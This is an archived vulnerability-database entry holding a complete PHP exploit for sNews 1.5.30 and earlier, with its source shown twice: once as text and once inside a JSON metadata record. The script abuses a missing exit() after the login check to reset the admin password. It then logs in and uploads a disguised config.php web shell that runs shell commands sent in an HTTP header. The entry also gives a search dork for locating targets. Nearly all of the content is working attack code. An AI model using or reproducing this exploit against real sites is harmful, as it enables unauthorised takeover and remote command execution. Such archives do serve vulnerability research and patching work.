ID SSV:5992
Type seebug
Reporter Root
Modified 2007-01-13T00:00:00
Description
No description provided by source.
<?php
print_r('
---------------------------------------------------------------------------
sNews <= 1.5.30 unauthorized access / reset admin pass / cmd exec exploit
by rgod
dork: "Barbecued by sNews"
mail: retrog at alice dot it
site: http://retrogod.altervista.org
---------------------------------------------------------------------------
');
/*
works regardless of php.ini settings
*/
if ($argc<5) {
print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path your_ip cmd [options]
host: target server (ip/hostname)
path: path to sNews
your_ip: your ip address, this is needed for upload
this is automatically set to your proxy ip, if you use one
cmd: a shell comand
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /snews/ ls -la -P1.1.1.1:80
php '.$argv[0].' localhost / cat snews.php -p81
---------------------------------------------------------------------------
');
die;
}
error_reporting("E_ALL");
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$your_ip=$argv[3];
$port=80;
$proxy="";
$cmd="";
for ($i=4; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
$tmp=explode(":",$proxy);
$your_ip=$tmp[0];
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
/*
software site: http://www.solucija.com/home/snews/
you can have unauthorized access to admin password reset feature and other ones,
after that you can upload a php file and launch commands
see snews.php near lines 392-395:
...
function center() {
if (isset($_GET['category'])) {$id = $action = $_GET['category'];}
if (isset($_GET['articleid'])) {$articleid = $_GET['articleid'];}
if (isset($_POST['submit_text'])) {processing(); $processed = true;}
...
now look at processing() function near line 1300:
...
function processing() {
if ($_SESSION[db('website').'Logged_In'] != 'True') {notification(l('error_not_logged_in'),'','login/');}
...
and to notification() one near lines 675-680:
...
function notification($error, $errNote, $link) {
$errNote = !empty($errNote) ? '<br />'.$errNote : '';
echo '<h2'.(!empty($error) ? ' class="error">'.l('admin_error').'</h2><p>'.$error.$errNote.'</p>' : '>'.l('operation_completed').'</h2>');
echo (!empty($link)) ? '<p><a href="'.db('website').$link.'" title="'.l('back').'">'.l('back').'</a></p>' : '';
}
...
funny! there is no exit() or die()...
this one reset the admin password and try to upload a php file
*/
$data='-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="submit_text";
1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="task";
changeup
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="submit_pass";
1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="uname";
suntzu
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="pass1";
suntzu
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="pass2";
suntzu
-----------------------------7d61bcd1f033e--
';
$packet ="POST ".$p." HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);
$data ="uname=suntzu";
$data.="&pass=suntzu";
$data.="&Loginform=True";
$data.="&submit=Login";
$packet ="POST ".$p." HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (!eregi("Admin</legend>",$html)){die("exploit failed...");}
$cookie="";
$temp=explode("Set-Cookie: ",$html);
for ($i=1; $i<count($temp);$i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=trim(str_replace("\n","",str_replace("\r","",$temp2[0])));
}
//echo "cookie -> ".$cookie."\n";
$data='-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="upload_dir";
.
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="imagefile"; filename="config.php"
Content-Type: image/jpeg;
<?php error_reporting(0); set_time_limit(0); echo "my_delim"; passthru($_SERVER["HTTP_SUNTZU"]); echo "my_delim";?>
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="ip";
'.$your_ip.'
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="time";
1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="upload";
Upload
-----------------------------7d61bcd1f033e--
';
$packet ="POST ".$p."files/ HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);
$packet ="GET ".$p."config.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="SUNTZU: ".$cmd."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("my_delim",$html))
{
$temp=explode("my_delim",$html);
echo $temp[1];
}
else
{
echo "exploit succeeded... but, for some reason, failed to upload shell, try to login manually with user 'suntzu' & password 'suntzu'";
}
?>
{"href": "https://www.seebug.org/vuldb/ssvid-5992", "status": "poc", "bulletinFamily": "exploit", "modified": "2007-01-13T00:00:00", "title": "sNews <= 1.5.30 Remote Reset Admin Pass / Command Exec Exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-5992", "cvelist": [], "description": "No description provided by source.", "viewCount": 2, "published": "2007-01-13T00:00:00", "sourceData": "\n <?php\r\nprint_r('\r\n---------------------------------------------------------------------------\r\nsNews <= 1.5.30 unauthorized access / reset admin pass / cmd exec exploit\r\nby rgod\r\ndork: "Barbecued by sNews"\r\nmail: retrog at alice dot it\r\nsite: http://retrogod.altervista.org\r\n---------------------------------------------------------------------------\r\n');\r\n/*\r\nworks regardless of php.ini settings\r\n*/\r\nif ($argc<5) {\r\n print_r('\r\n---------------------------------------------------------------------------\r\nUsage: php '.$argv[0].' host path your_ip cmd [options]\r\nhost: target server (ip/hostname)\r\npath: path to sNews\r\nyour_ip: your ip address, this is needed for upload\r\n this is automatically set to your proxy ip, if you use one\r\ncmd: a shell comand\r\nOptions:\r\n -p[port]: specify a port other than 80\r\n -P[ip:port]: specify a proxy\r\nExample:\r\nphp '.$argv[0].' localhost /snews/ ls -la -P1.1.1.1:80\r\nphp '.$argv[0].' localhost / cat snews.php -p81\r\n---------------------------------------------------------------------------\r\n');\r\n die;\r\n}\r\n\r\nerror_reporting("E_ALL");\r\nini_set("max_execution_time",0);\r\nini_set("default_socket_timeout",5);\r\n\r\nfunction quick_dump($string)\r\n{\r\n $result='';$exa='';$cont=0;\r\n for ($i=0; $i<=strlen($string)-1; $i++)\r\n {\r\n if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))\r\n {$result.=" .";}\r\n else\r\n {$result.=" ".$string[$i];}\r\n if (strlen(dechex(ord($string[$i])))==2)\r\n {$exa.=" ".dechex(ord($string[$i]));}\r\n else\r\n {$exa.=" 0".dechex(ord($string[$i]));}\r\n $cont++;if ($cont==15) {$cont=0; $result.="\\r\\n"; $exa.="\\r\\n";}\r\n }\r\n return $exa."\\r\\n".$result;\r\n}\r\n$proxy_regex = '(\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}\\b)';\r\n\r\nfunction sendpacketii($packet)\r\n{\r\n global $proxy, $host, $port, $html, $proxy_regex;\r\n if ($proxy=='') {\r\n $ock=fsockopen(gethostbyname($host),$port);\r\n if (!$ock) {\r\n echo 'No response from '.$host.':'.$port; die;\r\n }\r\n }\r\n else {\r\n\t$c = preg_match($proxy_regex,$proxy);\r\n if (!$c) {\r\n echo 'Not a valid proxy...';die;\r\n }\r\n $parts=explode(':',$proxy);\r\n echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\\r\\n";\r\n $ock=fsockopen($parts[0],$parts[1]);\r\n if (!$ock) {\r\n echo 'No response from proxy...';die;\r\n\t}\r\n }\r\n fputs($ock,$packet);\r\n if ($proxy=='') {\r\n $html='';\r\n while (!feof($ock)) {\r\n $html.=fgets($ock);\r\n }\r\n }\r\n else {\r\n $html='';\r\n while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {\r\n $html.=fread($ock,1);\r\n }\r\n }\r\n fclose($ock);\r\n}\r\n\r\n$host=$argv[1];\r\n$path=$argv[2];\r\n$your_ip=$argv[3];\r\n$port=80;\r\n$proxy="";\r\n$cmd="";\r\nfor ($i=4; $i<$argc; $i++){\r\n$temp=$argv[$i][0].$argv[$i][1];\r\nif (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}\r\nif ($temp=="-p")\r\n{\r\n $port=str_replace("-p","",$argv[$i]);\r\n}\r\nif ($temp=="-P")\r\n{\r\n $proxy=str_replace("-P","",$argv[$i]);\r\n $tmp=explode(":",$proxy);\r\n $your_ip=$tmp[0];\r\n}\r\n}\r\nif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}\r\nif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}\r\n\r\n/*\r\nsoftware site: http://www.solucija.com/home/snews/\r\n\r\nyou can have unauthorized access to admin password reset feature and other ones,\r\nafter that you can upload a php file and launch commands\r\n\r\nsee snews.php near lines 392-395:\r\n...\r\nfunction center() {\r\n\tif (isset($_GET['category'])) {$id = $action = $_GET['category'];}\r\n\tif (isset($_GET['articleid'])) {$articleid = $_GET['articleid'];}\r\n\tif (isset($_POST['submit_text'])) {processing(); $processed = true;}\r\n...\r\n\r\nnow look at processing() function near line 1300:\r\n\r\n...\r\nfunction processing() {\r\n\tif ($_SESSION[db('website').'Logged_In'] != 'True') {notification(l('error_not_logged_in'),'','login/');}\r\n...\r\n\r\nand to notification() one near lines 675-680:\r\n\r\n...\r\nfunction notification($error, $errNote, $link) {\r\n\t$errNote = !empty($errNote) ? '<br />'.$errNote : '';\r\n\techo '<h2'.(!empty($error) ? ' class="error">'.l('admin_error').'</h2><p>'.$error.$errNote.'</p>' : '>'.l('operation_completed').'</h2>');\r\n\techo (!empty($link)) ? '<p><a href="'.db('website').$link.'" title="'.l('back').'">'.l('back').'</a></p>' : '';\r\n}\r\n...\r\n\r\nfunny! there is no exit() or die()...\r\n\r\nthis one reset the admin password and try to upload a php file\r\n*/\r\n\r\n$data='-----------------------------7d61bcd1f033e\r\nContent-Disposition: form-data; name="submit_text";\r\n\r\n1\r\n-----------------------------7d61bcd1f033e\r\nContent-Disposition: form-data; name="task";\r\n\r\nchangeup\r\n-----------------------------7d61bcd1f033e\r\nContent-Disposition: form-data; name="submit_pass";\r\n\r\n1\r\n-----------------------------7d61bcd1f033e\r\nContent-Disposition: form-data; name="uname";\r\n\r\nsuntzu\r\n-----------------------------7d61bcd1f033e\r\nContent-Disposition: form-data; name="pass1";\r\n\r\nsuntzu\r\n-----------------------------7d61bcd1f033e\r\nContent-Disposition: form-data; name="pass2";\r\n\r\nsuntzu\r\n-----------------------------7d61bcd1f033e--\r\n';\r\n$packet ="POST ".$p." HTTP/1.0\\r\\n";\r\n$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\\r\\n";\r\n$packet.="Host: ".$host."\\r\\n";\r\n$packet.="Content-Length: ".strlen($data)."\\r\\n";\r\n$packet.="Connection: close\\r\\n\\r\\n";\r\n$packet.=$data;\r\nsendpacketii($packet);\r\nsleep(1);\r\n\r\n$data ="uname=suntzu";\r\n$data.="&pass=suntzu";\r\n$data.="&Loginform=True";\r\n$data.="&submit=Login";\r\n$packet ="POST ".$p." HTTP/1.0\\r\\n";\r\n$packet.="Content-Type: application/x-www-form-urlencoded\\r\\n";\r\n$packet.="Host: ".$host."\\r\\n";\r\n$packet.="Content-Length: ".strlen($data)."\\r\\n";\r\n$packet.="Connection: Close\\r\\n\\r\\n";\r\n$packet.=$data;\r\nsendpacketii($packet);\r\nif (!eregi("Admin</legend>",$html)){die("exploit failed...");}\r\n$cookie="";\r\n$temp=explode("Set-Cookie: ",$html);\r\nfor ($i=1; $i<count($temp);$i++)\r\n{\r\n$temp2=explode(" ",$temp[$i]);\r\n$cookie.=trim(str_replace("\\n","",str_replace("\\r","",$temp2[0])));\r\n}\r\n//echo "cookie -> ".$cookie."\\n";\r\n\r\n$data='-----------------------------7d61bcd1f033e\r\nContent-Disposition: form-data; name="upload_dir";\r\n\r\n.\r\n-----------------------------7d61bcd1f033e\r\nContent-Disposition: form-data; name="imagefile"; filename="config.php"\r\nContent-Type: image/jpeg;\r\n\r\n<?php error_reporting(0); set_time_limit(0); echo "my_delim"; passthru($_SERVER["HTTP_SUNTZU"]); echo "my_delim";?>\r\n-----------------------------7d61bcd1f033e\r\nContent-Disposition: form-data; name="ip";\r\n\r\n'.$your_ip.'\r\n-----------------------------7d61bcd1f033e\r\nContent-Disposition: form-data; name="time";\r\n\r\n1\r\n-----------------------------7d61bcd1f033e\r\nContent-Disposition: form-data; name="upload";\r\n\r\nUpload\r\n-----------------------------7d61bcd1f033e--\r\n';\r\n$packet ="POST ".$p."files/ HTTP/1.0\\r\\n";\r\n$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\\r\\n";\r\n$packet.="Host: ".$host."\\r\\n";\r\n$packet.="Content-Length: ".strlen($data)."\\r\\n";\r\n$packet.="Cookie: ".$cookie."\\r\\n";\r\n$packet.="Connection: close\\r\\n\\r\\n";\r\n$packet.=$data;\r\nsendpacketii($packet);\r\nsleep(1);\r\n\r\n$packet ="GET ".$p."config.php HTTP/1.0\\r\\n";\r\n$packet.="Host: ".$host."\\r\\n";\r\n$packet.="SUNTZU: ".$cmd."\\r\\n";\r\n$packet.="Connection: Close\\r\\n\\r\\n";\r\nsendpacketii($packet);\r\nif (eregi("my_delim",$html))\r\n{\r\n$temp=explode("my_delim",$html);\r\necho $temp[1];\r\n}\r\nelse\r\n{\r\n echo "exploit succeeded... but, for some reason, failed to upload shell, try to login manually with user 'suntzu' & password 'suntzu'";\r\n}\r\n?>\n ", "id": "SSV:5992", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T22:12:56", "reporter": "Root", "enchantments": {"score": {"value": 0.4, "vector": "NONE", "modified": "2017-11-19T22:12:56", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T22:12:56", "rev": 2}, "vulnersScore": 0.4}, "references": []}
{}